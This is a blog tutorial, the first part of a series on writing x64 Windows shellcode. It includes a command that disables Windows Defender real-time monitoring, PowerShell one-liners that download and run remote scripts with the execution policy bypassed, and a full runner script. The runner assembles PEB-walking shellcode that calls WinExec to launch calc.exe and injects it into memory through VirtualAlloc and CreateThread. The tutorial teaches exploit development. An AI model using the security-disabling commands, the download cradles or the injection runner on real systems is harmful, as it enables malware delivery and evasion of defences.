Writing Windows Assembly and Shellcode (x64) - Part 1
Foreword
In this series, I’ll be diving into the fundamentals of shellcode development on x64 Windows systems. While researching this challenging topic, I discovered several excellent resources that offer unique insights and different perspectives. Depending on your preferred learning style, one of the following articles might resonate with you better:
- x64 Assembly and Shellcoding 101
- Windows x64 Shellcode Template
- Windows x64 Shellcode Development
- Windows x64 Shellcode Development Intro
- Writing Shellcodes for Windows x64
Beyond these valuable reads, I’ll concentrate this series on setting up the development environment, how to debug the shellcode and developing the shellcode.
Setting up the Environment
Disable Windows Defender
Before proceeding, it’s recommended to temporarily or permanently disable Windows Defender. This will help prevent the security system from flagging or interfering with remotely executed scripts and system modifications during setup. Moreover, the technique that I am using to run the shellcode if certainly detected by Windows Defender. Hence, just turn it with
1
Set-MpPreference -DisableRealtimeMonitoring $true
Installing WinDbg
As we want to debug the shellcode in the upcoming posts, I recommend to install WinDbg especially the old version, as I got used to it. Feel free to use the newer WindDbg (Preview). It shouldnt make a big difference besides the look.
You can install WinDbg by installing the Windows SDK. If you want a faster way to install it, I prepared Install-WindowsSDK.ps1 that you can easily run remotely with
1
powershell -ExecutionPolicy Bypass -Command "& { . ([scriptblock]::Create((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/Shellpecker/WinKD-Setup-Scripts/refs/heads/main/Debugger/Install-WindowsSDK.ps1'))) }"
However, note that AMSI probably flags this remotely running a script as malicious. Hence, I recommend to disable Windows Defender for the rest of the series as you probably dont want that Windows Defender deletes your developed shellcode, too. Moreover, if you want to add some shortcuts to WinDbg and a nice dark theme you can run Setup-WinDbg.ps1 remotely with:
1
powershell -ExecutionPolicy Bypass -Command "& { . ([scriptblock]::Create((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/Shellpecker/WinKD-Setup-Scripts/refs/heads/main/Debugger/Setup-WinDbg.ps1'))) }"
Preparing the Shellcode Runner
There are several methods to develop and test shellcode on Windows. One common approach is to use Python along with the Keystone engine to compile assembly instructions. I chose a different method by creating a PowerShell script called run-assembly.ps1. This script assembles the instructions using NASM and then spawns a new PowerShell process that injects the shellcode into its own process before executing it.
This method lets you develop Windows shellcode directly within the PowerShell ISE without the need for extra software installations on your development machine. Before running the script, you must set the PowerShell execution policy to Bypass by executing:
1
Set-ExecutionPolicy Bypass
with administrator privileges. After that, you can run run-assembly.ps1, which by default assembles x64 shellcode developed by g3tsyst3m that executes calc.exe via the WinExec function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
# Architecture
$architecture = 64
#$architecture = 32
# List of bad Bytes
# $badBytes = @('00', 'B8')
$badBytes = @('00')
# Your inline shellcode
$shellcode = @"
BITS $architecture
SECTION .text
global main
main:
sub rsp, 0x28
and rsp, 0xFFFFFFFFFFFFFFF0
xor rcx, rcx ; RCX = 0
mov rax, [gs:rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18] ; RAX = PEB->Ldr
mov rsi,[rax+0x10] ;PEB.Ldr->InLoadOrderModuleList
mov rsi, [rsi]
mov rsi,[rsi]
mov rbx, [rsi+0x30] ;kernel32.dll base address
mov r8, rbx ; mov kernel32.dll base addr into r8
;Code for parsing Export Address Table
mov ebx, [rbx+0x3C] ; Get Kernel32 PE Signature (offset 0x3C) into EBX
add rbx, r8 ; Add signature offset to kernel32 base. Store in RBX.
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8 ; RDX = kernel32.dll + RVA ExportTable = ExportTable Address
mov r10d, [rdx+0x14] ; Number of functions
xor r11, r11 ; Zero R11 before use
mov r11d, [rdx+0x20] ; AddressOfNames RVA
add r11, r8 ; AddressOfNames VMA
mov rcx, r10 ; Set loop counter
mov rax, 0x6F9C9A87BA9196A8 ; WinExec 'encoded'
not rax
shl rax, 0x8
shr rax, 0x8
push rax
mov rax, rsp
add rsp, 0x8
kernel32findfunction: ; Loop over Export Address Table to find WinApi names
jecxz FunctionNameNotFound ; Loop around this function until we find WinExec
xor ebx,ebx ; Zero EBX for use
mov ebx, [r11+rcx*4] ; EBX = RVA for first AddressOfName
add rbx, r8 ; RBX = Function name VMA / add kernel32 base address to RVA and get WinApi name
dec rcx ; Decrement our loop by one, this goes from Z to A
mov r9, qword [rax] ; R9 = "our API"
cmp [rbx], r9 ; Compare all bytes
jz FunctionNameFound ; If match, function found
jnz kernel32findfunction
FunctionNameNotFound:
int3
FunctionNameFound: ; Get function address from AddressOfFunctions
inc ecx ; increase counter by 1 to account for decrement in loop
xor r11, r11
mov r11d, [rdx+0x1c] ; AddressOfFunctions RVA
add r11, r8 ; AddressOfFunctions VMA in R11. Kernel32+RVA for addressoffunctions
mov r15d, [r11+rcx*4] ; Get the function RVA.
add r15, r8 ; Found the Winexec WinApi and all the while skipping ordinal lookup! w00t!
xor rax, rax
push rax
mov rax, 0x9A879AD19C939E9C ; encoded calc.exe ;)
not rax
push rax
mov rcx, rsp
xor rdx, rdx
inc rdx
sub rsp, 0x30
call r15 ; Call WinExec
"@
# File paths
$asmPath = "$env:TEMP\shellcode.asm"
$lstPath = "$env:TEMP\shellcode.lst"
# Define the full path for nasm.exe in the AppData folder
$NasmPath = Join-Path $env:APPDATA "nasm.exe"
# Check if nasm.exe exists at the specified location
if (-Not (Test-Path $NasmPath)) {
Write-Output "nasm.exe not found at $NasmPath. Downloading from repository..."
try {
# Download nasm.exe from the specified URL and save it to the AppData folder
Invoke-WebRequest -Uri "https://github.com/Shellpecker/PS-Shellcode-Runner/raw/refs/heads/main/nasm.exe" `
-OutFile $NasmPath `
-UseBasicParsing
Write-Output "Download complete: nasm.exe saved to $NasmPath"
}
catch {
Write-Error "Failed to download nasm.exe: $_"
exit 1
}
}
else {
Write-Output "nasm.exe is already present at $NasmPath"
}
# Write shellcode to file
Set-Content -Path $asmPath -Value $shellcode
# Assemble with NASM
& "$nasmPath" -fbin -l $lstPath $asmPath
$allLines = Get-Content $lstPath
$parsed = @()
$pending = $null
$pendingAddr = $null
$pendingInstr = $null
foreach ($line in $allLines) {
if ($line -match '^\s*\d+\s+([0-9A-F]+)\s+([0-9A-Fa-f]+)(-?)(\s+.*)') {
$addr = $matches[1]
$hexRaw = $matches[2].ToUpper()
$continuation = $matches[3]
$instr = $matches[4].Trim()
# If we are in a continuation, append the hex codes
if ($pending -ne $null) {
# Append new hex part
$pending += $hexRaw
# Optionally append instruction text or check consistency
if ($continuation -eq "-") {
# Still a continuation, skip processing
continue
} else {
# No further continuation, prepare to add the full record
$combinedHex = $pending
$parsed += [PSCustomObject]@{
Address = $pendingAddr
HexSpaced = ($combinedHex -split '(?<=\G.{2})') -join ' '
Instr = $pendingInstr
}
# Clear pending variables
$pending = $null
$pendingAddr = $null
$pendingInstr = $null
}
} else {
# Not in a pending continuation.
if ($continuation -eq "-") {
# Start a new pending accumulation.
$pending = $hexRaw
$pendingAddr = $addr
$pendingInstr = $instr # or combine if needed
continue
}
else {
# No continuation, process as a single line.
$parsed += [PSCustomObject]@{
Address = $addr
HexSpaced = ($hexRaw -split '(?<=\G.{2})') -join ' '
Instr = $instr
}
}
}
}
}
# Determine max length for alignment
$maxLeft = ($parsed | ForEach-Object {
("{0} {1,-20} {2}" -f $_.Address, $_.HexSpaced, $_.Instr).Length
} | Measure-Object -Maximum).Maximum
# Output lines
foreach ($entry in $parsed) {
$left = "{0} {1,-20} {2}" -f $entry.Address, $entry.HexSpaced, $entry.Instr
$pad = ' ' * ($maxLeft - $left.Length)
if ($entry.BadBytes.Count -gt 0) {
$whichBad = ($entry.BadBytes -join ' ')
$marker = "<-- BAD BYTE: $whichBad"
Write-Host "$left$pad $marker" -ForegroundColor Red
} else {
Write-Host "$left$pad"
}
}
# Dynamically build the shellcode byte array from the parsed listing
# Initialize an empty array to hold each shellcode byte (in hex format)
$shellcodeBytesArray = @()
foreach ($entry in $parsed) {
# Split the HexSpaced field into individual hex byte tokens
$bytes = $entry.HexSpaced -split '\s+'
foreach ($byte in $bytes) {
# Make sure the byte is not empty
if (![string]::IsNullOrWhiteSpace($byte)) {
# Prepend "0x" to each byte so it can be interpreted as a hexadecimal number.
$shellcodeBytesArray += "0x$byte"
}
}
}
# Prepare the final PowerShell execution script dynamically.
$joinedShellcode = $shellcodeBytesArray -join ', '
# Generate a PowerShell script string
$execScript = @"
Write-Host "Current Process ID: `$PID"
Write-Host "Press any key to enter shellcode..."
[void][System.Console]::ReadKey(`$true)
[Byte[]] `$shellcode = @($joinedShellcode)
function LookupFunc {
Param (`$moduleName, `$functionName)
`$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { `$_.GlobalAssemblyCache -And `$_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
`$tmp = `$assem.GetMethods() | ForEach-Object { if (`$_.Name -eq "GetProcAddress") { `$_ } }
`$handle = `$assem.GetMethod('GetModuleHandle').Invoke(`$null, @(`$moduleName))
[IntPtr] `$result = 0
try {
Write-Host "First Invoke - `$moduleName `$functionName"
`$result = `$tmp[0].Invoke(`$null, @(`$handle, `$functionName))
} catch {
Write-Host "Second Invoke - `$moduleName `$functionName"
`$handle = New-Object -TypeName System.Runtime.InteropServices.HandleRef -ArgumentList @(`$null, `$handle)
`$result = `$tmp[0].Invoke(`$null, @(`$handle, `$functionName))
}
return `$result
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = `$True)] [Type[]] `$func,
[Parameter(Position = 1)] [Type] `$delType = [Void]
)
`$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', `$false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
`$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, `$func).SetImplementationFlags('Runtime, Managed')
`$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', `$delType, `$func).SetImplementationFlags('Runtime, Managed')
return `$type.CreateType()
}
`$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, `$shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy(`$shellcode, 0, `$lpMem, `$shellcode.Length)
`$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero, 0, `$lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke(`$hThread, 0xFFFFFFFF)
"@
$execPath = "$env:TEMP\run_payload.ps1"
Set-Content -Path $execPath -Value $execScript
# Define the typical locations on a 64-bit Windows system:
$PS64 = "$env:windir\system32\WindowsPowerShell\v1.0\powershell.exe" # 64-bit version
$PS32 = "$env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" # 32-bit version
# Select the target executable based on the $architecture variable.
# Note: This script chooses the opposite architecture.
if ($architecture -eq 64) {
# $architecture = 32 means launch the 64-bit (system32) version
$targetExe = $PS64
Write-Host "Launching Shellcode in 64-Bit Process."
} elseif ($architecture -eq 32) {
# $architecture = 64 means launch the 32-bit (SysWOW64) version
$targetExe = $PS32
Write-Host "Launching Shellcode in 32-Bit Process.."
} else {
Write-Error "Invalid architecture specified. Please use 32 or 64."
exit
}
# Start in new PowerShell process
Start-Process $targetExe -ArgumentList "-ExecutionPolicy Bypass -NoExit -File `"$execPath`""
At this stage, it’s not critical to understand the inner workings of the shellcode—we’ll cover that later. To execute the shellcode, open the PowerShell ISE and load the previously mentioned script. Once you run it, a new PowerShell process will launch.
This new process displays its current Process ID (PID) and pauses until you press any key. Shortly afterward, you can attach WinDbg to the displayed PID for further analysis. If you do not attach a debugger immediately, you’ll notice that the process automatically injects the shellcode into itself and executes it. In this example, calc.exe opens, and then the PowerShell process terminates. This is expected behavior because the shellcode merely invokes calc.exe without implementing a robust exit mechanism. Nonetheless, it effectively demonstrates that the shellcode functioned as intended.
Debug the Shellcode
Lastly, in this post I want to show you how to attach WinDbg to the process to debug the shellcode. This is a crucial task, as you will not understand why your shellcode does not work correctly.
